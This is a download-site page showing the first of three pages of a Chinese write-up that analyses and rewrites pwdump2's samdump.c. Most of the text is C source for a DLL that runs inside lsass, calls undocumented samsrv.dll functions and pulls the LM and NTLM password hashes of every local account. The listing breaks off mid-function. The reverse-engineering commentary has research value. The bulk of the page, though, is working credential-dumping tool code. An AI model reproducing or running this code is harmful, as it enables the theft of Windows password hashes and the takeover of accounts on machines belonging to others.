⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pwdump2samdump.c浅析与改进.txt

📁 samdump.c调用LsaQueryInformationPolicy()获取主机SID
💻 TXT
📖 第 1 页 / 共 3 页
字号:
☆ pwdump2/samdump.c浅析与改进



samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。

我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:

--------------------------------------------------------------------------
SamIConnect
    SamrEnumerateDomainsInSamServer
        SamrLookupDomainInSamServer
            SamrOpenDomain
                SamrEnumerateUsersInDomain
                    SamrOpenUser
                        SamrQueryInformationUser
                        SamIFree_SAMPR_USER_INFO_BUFFER
                    SamrCloseHandle
                SamIFree_SAMPR_ENUMERATION_BUFFER
            SamrCloseHandle
        LocalFree
    SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------

SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。

使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。

相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。

--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
* -----------------------------------------------------------------------
* Rewrite  : scz <scz@nsfocus.com>
*          : http://www.nsfocus.com
* Version  : 1.10
* Compile  : For x86/EWindows XP SP1 & VC 7
*          : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
*          :
* Create   : 2003-12-29 21:42
* Modify   : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/

/************************************************************************
*                                                                      *
*                               Head File                              *
*                                                                      *
************************************************************************/

/*
* #define _WIN32_WINNT 0x0501
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>

/************************************************************************
*                                                                      *
*                               Macro                                  *
*                                                                      *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO"    )
#pragma comment( lib,    "kernel32.lib"       )

#define VERSION                         "1.10"

/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
typedef LONG                            NTSTATUS;
#define NT_SUCCESS(status)              ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES             ((NTSTATUS)0x00000105L)

#define SamUserOWFPasswordInformation   0x12

#pragma pack( push, 1 )

/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
    USHORT  Length;         // +0x000
    USHORT  MaximumLength;  // +0x002
    PWSTR   Buffer;         // +0x004
                            // +0x008
} UNICODE_STRING, *PUNICODE_STRING;

/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
    DWORD           userrid;    // +0x000
    UNICODE_STRING  username;   // +0x004,这是一个结构,而非结构指针
                                // +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/*
* !!!
* (C) Todd Sabin 1997,1998,2000  All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
    DWORD               DomainUserCount;    // +0x000,数组元素个数
    PSAM_DOMAIN_USER    DomainUser;         // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;

/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION   // Information Class 0x12
{
    unsigned char       NTLMHash[16];   // +0x000,16字节的NTLM Hash
    unsigned char       LMHash[16];     // +0x010,16字节的LM Hash
    unsigned short int  Unknown_020;    // +0x020,参samsrv!SampGetCurrentAdminPassword()
    unsigned char       Unknown_022;    // +0x022
                                        // +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN
{
    DWORD           unused;         // +0x000,未使用,总为0(猜测)
    UNICODE_STRING  domainname;     // +0x004,这是一个结构,而非结构指针
                                    // +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION
{
    DWORD               ServerDomainCount;  // +0x000,数组元素个数
    PSAM_SERVER_DOMAIN  ServerDomain;       // +0x004,动态分配空间的结构数组
                                            // +0x008,后面还有没有成员,目前看不出来
    /*
     * ... ...
     */
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;

#pragma pack( pop )

/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
    DWORD   Unknown_0,      // 意义不明,调用时一般为0
    PHANDLE pSamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
    DWORD   AccessMask,     // Access Mask
    DWORD   Unknown_1       // 意义不明,调用时一般为1
);

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
    HANDLE  SamHandle,      // 源自sam connect操作
    DWORD   AccessMask,     // Access Mask
    PSID    DomainSid,      // 这个域不是通常所说NT域
    PHANDLE pDomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
    HANDLE  DomainHandle,   // 源自sam open domain操作
    DWORD   AccessMask,     // Access Mask
    DWORD   Rid,            // 比如500,0x1F4,Administrator
    PHANDLE pUserHandle     // [out]参数,是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
    HANDLE  UserHandle,     // 源自sam open user操作
    DWORD   InfoClass,      // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
    PVOID   UserInfo        // 随InfoClass不同,对应不同的结构
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
    PVOID   UserInfo,       // 随InfoClass不同,对应不同的结构
    DWORD   InfoClass       // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
                            // 了减少编译难度,换成DWORD型
);

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
    PHANDLE pHandle         // 可以关闭各种sam操作相关的句柄
                            // 是指向HANDLE的指针,不是HANDLE
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
    HANDLE                          DomainHandle,               // 源自sam open domain操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    DWORD                           AccessMask,                 // filter,Access Mask
                                                                // 如欲枚举所有帐号,指定0
    PPSAM_DOMAIN_USER_ENUMERATION   pDomainUserEnumeration,     // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 可以指定成0x0000FFFF
    PDWORD                          pUserCount                  // [out]参数,枚举出的帐号数目
);

typedef VOID     ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
    PVOID   EnumerationBuf  // 其实是PSAM_ENUMERATION_BUFFER
                            // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
                            // 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
    HANDLE                          SamHandle,                  // 源自sam connect操作
    PHANDLE                         pEnumerationHandle,         // [in/out]参数,Resume Handle
                                                                // 是指向HANDLE的指针,不是HANDLE
    PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration,   // [out]参数
    DWORD                           PrefMaxSize,                // 意义未明,似乎对应Pref MaxSize
                                                                // 应该也可以指定成0x0000FFFF
    PDWORD                          pDomainCount                // [out]参数,枚举出的Domain数目
);

typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
    HANDLE              SamHandle,      // 源自sam connect操作
    PUNICODE_STRING     DomainName,     //
    PSID               *pDomainSid      // [out]参数,用LocalFree()释放
);

/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG    ( __stdcall *RTLNTSTATUSTODOSERROR )
(
    IN NTSTATUS status
);

/************************************************************************
*                                                                      *
*                            Function Prototype                        *
*                                                                      *
************************************************************************/

static void getlmhash           ( void );
static BOOL LocateNtdllEntry    ( void );
static BOOL LocateSamsrvEntry   ( void );
static void PrintHash           ( unsigned char *hash );
static void PrintUnicodeString  ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI  ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI     ( char *message, NTSTATUS status );
static int  PrivatePrintf
(
    HANDLE      handle,
    char       *buf,
    size_t      count,
    const char *format,
    ...
);

__declspec(dllexport)
       DWORD __cdecl
            getlmhashdll_main   ( char *pipename );

/************************************************************************
*                                                                      *
*                            Static Global Var                         *
*                                                                      *
************************************************************************/

static HANDLE                               outfile                             = INVALID_HANDLE_VALUE;
static char                                *outbuf                              = NULL;
static size_t                               outbuflen                           = 0;
static HMODULE                              samsrv                              = NULL;

/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT                          SamIConnect                         = NULL;
static SAMROPENDOMAIN                       SamrOpenDomain                      = NULL;
static SAMROPENUSER                         SamrOpenUser                        = NULL;
static SAMRQUERYINFORMATIONUSER             SamrQueryInformationUser            = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER      SamIFree_SAMPR_USER_INFO_BUFFER     = NULL;
static SAMRCLOSEHANDLE                      SamrCloseHandle                     = NULL;
static SAMRENUMERATEUSERSINDOMAIN           SamrEnumerateUsersInDomain          = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER    SamIFree_SAMPR_ENUMERATION_BUFFER   = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER      SamrEnumerateDomainsInSamServer     = NULL;
static SAMRLOOKUPDOMAININSAMSERVER          SamrLookupDomainInSamServer         = NULL;

/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR                RtlNtStatusToDosError               = NULL;

/************************************************************************/

static void getlmhash ( void )
{
    NTSTATUS    status;
    HANDLE                              SamHandle               = NULL,
                                        EnumerationHandle       = NULL,
                                        DomainHandle            = NULL,
                                        UserHandle              = NULL;
    PSAM_SERVER_DOMAIN_ENUMERATION      ServerDomainEnumeration = NULL;
    DWORD                               DomainCount             = 0,
                                        UserCount               = 0,
                                        Count                   = 0;
    PSID                                DomainSid               = NULL;
    PSAM_DOMAIN_USER_ENUMERATION        DomainUserEnumeration   = NULL;
    BOOL                                nomoredata              = FALSE;
    PSAM_USER_OWF_PASSWORD_INFORMATION  UserOWFPasswordInfo     = NULL;

    status              = SamIConnect
    (
        0,              // 意义不明,调用时一般为0
        &SamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
        0x10000030,     // Access Mask
                        // Generic read
                        // Open domain
                        // Enum domains
        1               // 意义不明,调用时一般为1
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamIConnect() failed",
            status
        );
        goto getlmhash_exit;
    }
    status              = SamrEnumerateDomainsInSamServer
    (
        SamHandle,                  // 源自sam connect操作
        &EnumerationHandle,         // [in/out]参数,Resume Handle
                                    // 是指向HANDLE的指针,不是HANDLE
        &ServerDomainEnumeration,   // [out]参数
        0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
                                    // 应该也可以指定成0x0000FFFF
        &DomainCount                // [out]参数,枚举出的Domain数目
    );
    if ( !NT_SUCCESS( status ) )

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -